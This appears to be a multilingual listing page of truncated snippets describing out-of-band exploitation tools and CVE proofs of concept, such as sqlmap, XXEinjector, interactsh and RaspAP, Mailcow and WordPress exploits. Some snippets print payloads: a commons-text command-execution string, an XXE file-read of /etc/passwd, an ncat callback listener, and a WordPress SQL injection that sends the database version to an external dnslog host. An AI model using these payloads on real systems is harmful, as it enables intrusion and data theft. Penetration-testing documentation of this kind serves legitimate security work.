Arecibo

Arecibo Endpoint for Out-of-Band Exfiltration DNS & HTTP Authors Juan Manuel Fernández @TheXC3LL & Pablo Martinez @Xassiz DNS Exfiltration Create a new token: root@kitploit: curl localhost:5000/generatedns "htoken": "c008b5dd22817c50441522f917c66743" Now you can use this identificative token to d...

XXEinjector

XXEinjector XXEinjector automates retrieving files using direct and out of band methods. Directory listing only works in Java applications. Bruteforcing method needs to be used for other applications. Options: root@kitploit: --host Mandatory - our IP address for reverse connections...

sqlmap

sqlmap sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switche...

interactsh

An OOB interaction gathering server and client library Features • Usage • • • •...

mole

Mole OOBOut-of-Band 취약점을 식별하고 악용하기 위한 프레임워크입니다. 설치 및 설정 Mole 설치 Python = 3.6 virtualenv -p /usr/bin/python3 venv source venv/bin/activate ./venv/bin/pip3 install -r requirements.txt git submodule update --init --recursive config.yml에 API 키를 설정하세요 클라이언트와 서버에서 같아야 합니다. DNS 구성 DNS 레코드를 등록 기관에서 구성하여...

cve-2022-33891

cve-2022-33891 Usage: root@kitploit: pip3 install requests If you do not use the -d parameter, the dnslog domain name will be automatically applied for you. 如果你不使用-d参数，则会自动为您申请dnslog域名。 python3 cve202233891poc.py -u http://127.0.0.1 python3 cve202233891poc.py -f url.txt python3 cve202233891poc.py...

RaspAP <=2.6.5 - Remote Command Injection

RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the "iface" GET parameter in /ajax/networking/getnetcfg.php, when the "iface" parameter value contains special characters such as ";". id: CVE-2021-33357 info: name: RaspAP =2.6.5 - Remote Command Injection...

sqlmap

sqlmap sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다. 스크린샷 또는, wiki에 나와있는 몇몇 기능을 보여주는 스크린샷 모음 을 방문하실 수 있습니다...

CVE-2025-25198-PoC

CVE-2025-25198-PoC Mailcow のパスワードリセットフローに影響する Host ヘッダーポイズニング（Host ヘッダー汚染）問題である CVE-2025-25198 の概念実証（PoC）です。 このスクリプトは、ポート 443 でローカル HTTPS リスナーを起動し、有効な CSRF トークンを自動的に取得して、細工した Host ヘッダー付きでパスワードリセット処理を送信します。HTTP レスポンスまたはリスナーへのコールバックのいずれかからリセットリンクを取得すると停止します。 動作内容 1. 自己署名証明書で HTTPS リスナーを起動します。 2. 新し...

CVE-2023-46021-Code-Projects-Blood-Bank-1.0-SQL-Injection-Vulnerability

CVE-2023-46021-Code-Projects-Blood-Bank-1.0-OOB-SQL-Injection-Vulnerability Exploit Author: ersinerenler Vendor Homepage https://code-projects.org/blood-bank-in-php-with-source-code Software Link https://download-media.code-projects.org/2020/11/BloodBankInPHPWithSourcecode.zip Overview...

shennina

Shennina Automating Host Exploitation with AI Abstract Shennina is an automated host exploitation framework. The mission of the project is to fully automate the scanning, vulnerability scanning/analysis, and exploitation using Artificial Intelligence. Shennina is integrated with Metasploit and Nm...

lorsrf

LORSRF - 2.1 Lorsrf는 SSRF 또는 Out-of-band 리소스 로드 공격에 악용될 수 있는 매개변수를 식별하기 위해 설계된 강력한 웹 침투 테스트 도구입니다. Burp Collaborator와 같은 OAST 호스트를 매개변수 값에 추가함으로써 Lorsrf는 대상에 대한 실제 정보 없이 Burp Collaborator에서 수신되는 HTTP 요청을 생성할 수 있습니다. 이 문제를 해결하기 위해 Lorsrf는 OAST 호스트에 변수로 특정 대상 정보 조각을 추가할 수 있는 기능을 포함합니다. 이를 통해 취약한...

xcat

XCat XCat is a command line tool to exploit and investigate blind XPath injection vulnerabilities. For a complete reference read the documentation here: https://xcat.readthedocs.io/en/latest/ It supports an large number of features: Auto-selects injections run xcat injections for a list Detects t...

dnsobserver

DNSObserver Go로 작성된 편리한 DNS 서비스로, 여러 유형의 블라인드 취약점 탐지를 돕습니다. 침투 테스터의 서버에서 대역 외 DNS 상호작용을 모니터링하고, 수신된 요청 세부 정보를 Slack을 통해 알림으로 전송합니다. DNSObserver는 블라인드 OS 명령어 삽입, 블라인드 SQLi, 블라인드 XXE 등 다양한 버그를 찾는 데 도움을 줄 수 있습니다. 자세한 개요와 설정 지침은 다음을 참조하세요: https://www.allysonomalley.com/2020/05/22/dnsobserver/ 설정 필요한...

CVE-2022-42889-POC

CVE-2022-42889-POC CVE-2022-42889 취약점을 악용하는 방법을 보여주는 간단한 데모 애플리케이션입니다. OOBOut of Band 서비스를 사용하여 dns 및 url 접두어를 시연합니다. commons-text 보간을 위한 JavaDocs commons-text JavaDocs 보간 예제 script:javascript "$script:javascript:java.lang.Runtime.getRuntime.exec'touch /tmp/blop'" dns "$dns:address|HOST" url...

POC-CVE-2025-54988

CVE-2025-54988 - POC 면책 조항: 저는 이 취약점의 최초 발견자가 아닙니다. 이 게시물은 교육 목적과 다른 사람들이 자신의 시스템을 검증하는 데 도움을 주기 위해 통제된 환경에서 이 문제를 재현한 과정을 문서화한 것입니다. 테스트는 격리된 실험실에서 수행되었으며 프로덕션 시스템에는 영향을 미치지 않았습니다. 사용법: root@kitploit: python3 xfaxxepocgen.py --mode file --file /etc/passwd -o xfapasswd.pdf python3 xfaxxepocgen.py...

CVE-2025-32375

脆弱性バージョンのセットアップ 脆弱性のあるコンテナを起動します: root@kitploit: docker compose up リスナー（例: ncat）を作成します: root@kitploit: ncat -klnv 1337 エクスプロイトを実行します: root@kitploit: python3 exploit.py すべてが正常に動作した場合、ncat ウィンドウに OS コマンド（デフォルトでは id）の内容を含む HTTP リクエストが届くはずです。 クレジット 脆弱性発見者: SeaW1nd VickyTheViking によるテスト環境に基づく...

XOE

XOE XXE Out-Of-Band 脆弱性を簡単に悪用 詳細 このツールは、入力したIPアドレスとポートを含むXMLファイルを作成し、接続をリッスンして応答します :D スクリーンショット...

Astra Linux – Vulnerability found in Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: afunix: Update unixsksk-oobskb under the skreceivequeue lock. Billy Jheng Bing-Jhong reported a race between unixgc and queueoob. unixgc attempts to garbage-collect closed inflight sockets. If the socket contains MSGOOB in...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 version5.8.3 パス：http://your target/wp-admin/admin-ajax.php インジェクションタイプはout-of-bandです。dnslogを自分で指定し、ceye.ioを置き換える必要があります。 POST データ："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select version,'.27s601.ceye.io\abc',1,1-- a"...